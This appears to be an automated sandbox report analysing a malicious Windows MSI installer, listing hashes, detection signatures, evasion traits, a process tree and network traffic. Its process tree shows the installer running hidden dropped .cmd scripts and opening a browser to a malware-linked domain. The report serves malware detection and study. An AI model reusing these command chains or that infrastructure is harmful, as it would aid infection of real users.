Edit tour

Windows Analysis Report
APP-DANF0001S7D88002555555222S5S.msi

Overview

General Information

Sample name:	APP-DANF0001S7D88002555555222S5S.msi
Analysis ID:	1487798
MD5:	7cd5dd8962ae35d5a64959401f8f1f29
SHA1:	871c93a994af6504bbb34eb08f7db4004b21500b
SHA256:	1caa3142c570e908b30b7a8195f84019dfca88619c6971d377a88bdda34572aa
Tags:	msisenhordos-infects-digital
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Drops executables to the windows directory (C:\Windows) and starts them

Machine Learning detection for dropped file

PE file contains section with special chars

Checks for available system drives (often done to infect USB drives)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

msiexec.exe (PID: 4904 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\APP-DANF0001S7D88002555555222S5S.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 1804 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 5352 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 0BCE30386084D5994DA5F38735FD7120 MD5: 9D09DC1EDA745A5F87553048E57620CF)

MSID537.tmp (PID: 3604 cmdline: "C:\Windows\Installer\MSID537.tmp" /DontWait "C:\Users\user\Documents\microsoft.cmd" C:\Users\user\Documents\ MD5: 768B35409005592DE2333371C6253BC8)

MSID558.tmp (PID: 3060 cmdline: "C:\Windows\Installer\MSID558.tmp" /HideWindow "C:\Users\user\AppData\Roaming\Defendr\cont.cmd" C:\Users\user\AppData\Roaming\Defendr\ MD5: 768B35409005592DE2333371C6253BC8)

cmd.exe (PID: 1776 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Documents\microsoft.cmd" C:\Users\user\Documents\" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5132 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Defendr\cont.cmd" C:\Users\user\AppData\Roaming\Defendr\" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 4780 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://senhordos-infects.digital/clientes/inspecionando.php MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1432 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2020,i,7346093212192894915,17745381868885842246,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 05 Aug 2024 06:19:16 GMTServer: Apache/2.4.52 (Ubuntu)Content-Length: 287Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6e 68 6f 72 64 6f 73 2d 69 6e 66 65 63 74 73 2e 64 69 67 69 74 61 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at senhordos-infects.digital Port 80</address></body></html>

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53170
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53173
Source: unknown	Network traffic detected: HTTP traffic on port 53177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53177
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 53174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:53170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.6:53171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:53174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:53177 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: AGLoader.dll.2.dr	Static PE information: section name: .?e?
Source: AGLoader.dll.2.dr	Static PE information: section name: .vf,

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\4fc2c3.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC60E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC6BB.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC778.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC805.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC8F1.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{7A2971C6-B41B-4A0D-A347-D721E39FEABC}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICA1B.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID537.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID558.tmp	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSIC60E.tmp

Jump to behavior

Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BB6078	4_2_00BB6078
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00B8D060	4_2_00B8D060
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BBB336	4_2_00BBB336
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BC4609	4_2_00BC4609
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BA9730	4_2_00BA9730
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BAF700	4_2_00BAF700
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BB38A0	4_2_00BB38A0
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BB18EF	4_2_00BB18EF
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BBE919	4_2_00BBE919
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BAFA8E	4_2_00BAFA8E
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BBDB30	4_2_00BBDB30
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00B90E90	4_2_00B90E90
Source: C:\Windows\Installer\MSID537.tmp	Code function: 4_2_00BC2EC5	4_2_00BC2EC5

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Roaming\Defendr\LKdayanJELT9QDD900055.exe 7FA7499C7A72041D7D0FB1E4659466AD8D428080A176FA16276FD60ADC9DA0FD

Source: C:\Windows\Installer\MSID537.tmp	Code function: String function: 00BA8246 appears 69 times
Source: C:\Windows\Installer\MSID537.tmp	Code function: String function: 00BA85D0 appears 39 times
Source: C:\Windows\Installer\MSID537.tmp	Code function: String function: 00BA8213 appears 100 times

Source: AGLoader.dll.2.dr

Static PE information: Number of sections : 12 > 10

Source: APP-DANF0001S7D88002555555222S5S.msi	Binary or memory string: OriginalFilenameviewer.exeF vs APP-DANF0001S7D88002555555222S5S.msi
Source: APP-DANF0001S7D88002555555222S5S.msi	Binary or memory string: OriginalFilenameAICustAct.dllF vs APP-DANF0001S7D88002555555222S5S.msi

Source: classification engine

Classification label: mal76.evad.winMSI@31/144@4/4

Source: C:\Windows\Installer\MSID537.tmp

Code function: 4_2_00B861D0 CreateToolhelp32Snapshot,CloseHandle,Process32FirstW,OpenProcess,CloseHandle,Process32NextW,CloseHandle,

4_2_00B861D0

Source: C:\Windows\Installer\MSID537.tmp

Code function: 4_2_00B86EE0 CoInitialize,CoCreateInstance,VariantInit,VariantClear,IUnknown_QueryService,IUnknown_QueryInterface_Proxy,IUnknown_QueryInterface_Proxy,CoAllowSetForegroundWindow,SysAllocString,SysAllocString,SysAllocString,SysAllocString,VariantInit,LocalFree,OpenProcess,WaitForSingleObject,GetExitCodeProcess,CloseHandle,LocalFree,VariantClear,VariantClear,VariantClear,VariantClear,VariantClear,SysFreeString,VariantClear,CoUninitialize,_com_issue_error,

4_2_00B86EE0

Source: C:\Windows\Installer\MSID537.tmp

Code function: 4_2_00B81D70 LoadResource,LockResource,SizeofResource,

4_2_00B81D70

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\CMLCB00.tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6628:120:WilError_03

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Local\Temp\MSIfc16b.LOG

Jump to behavior

Source: C:\Windows\Installer\MSID537.tmp

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: APP-DANF0001S7D88002555555222S5S.msi	Virustotal: Detection: 44%
Source: APP-DANF0001S7D88002555555222S5S.msi	ReversingLabs: Detection: 36%

Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\APP-DANF0001S7D88002555555222S5S.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 0BCE30386084D5994DA5F38735FD7120
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSID537.tmp "C:\Windows\Installer\MSID537.tmp" /DontWait "C:\Users\user\Documents\microsoft.cmd" C:\Users\user\Documents\
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSID558.tmp "C:\Windows\Installer\MSID558.tmp" /HideWindow "C:\Users\user\AppData\Roaming\Defendr\cont.cmd" C:\Users\user\AppData\Roaming\Defendr\
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Documents\microsoft.cmd" C:\Users\user\Documents\"
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Defendr\cont.cmd" C:\Users\user\AppData\Roaming\Defendr\"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://senhordos-infects.digital/clientes/inspecionando.php
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2020,i,7346093212192894915,17745381868885842246,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 0BCE30386084D5994DA5F38735FD7120	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSID537.tmp "C:\Windows\Installer\MSID537.tmp" /DontWait "C:\Users\user\Documents\microsoft.cmd" C:\Users\user\Documents\	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSID558.tmp "C:\Windows\Installer\MSID558.tmp" /HideWindow "C:\Users\user\AppData\Roaming\Defendr\cont.cmd" C:\Users\user\AppData\Roaming\Defendr\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://senhordos-infects.digital/clientes/inspecionando.php	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2020,i,7346093212192894915,17745381868885842246,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
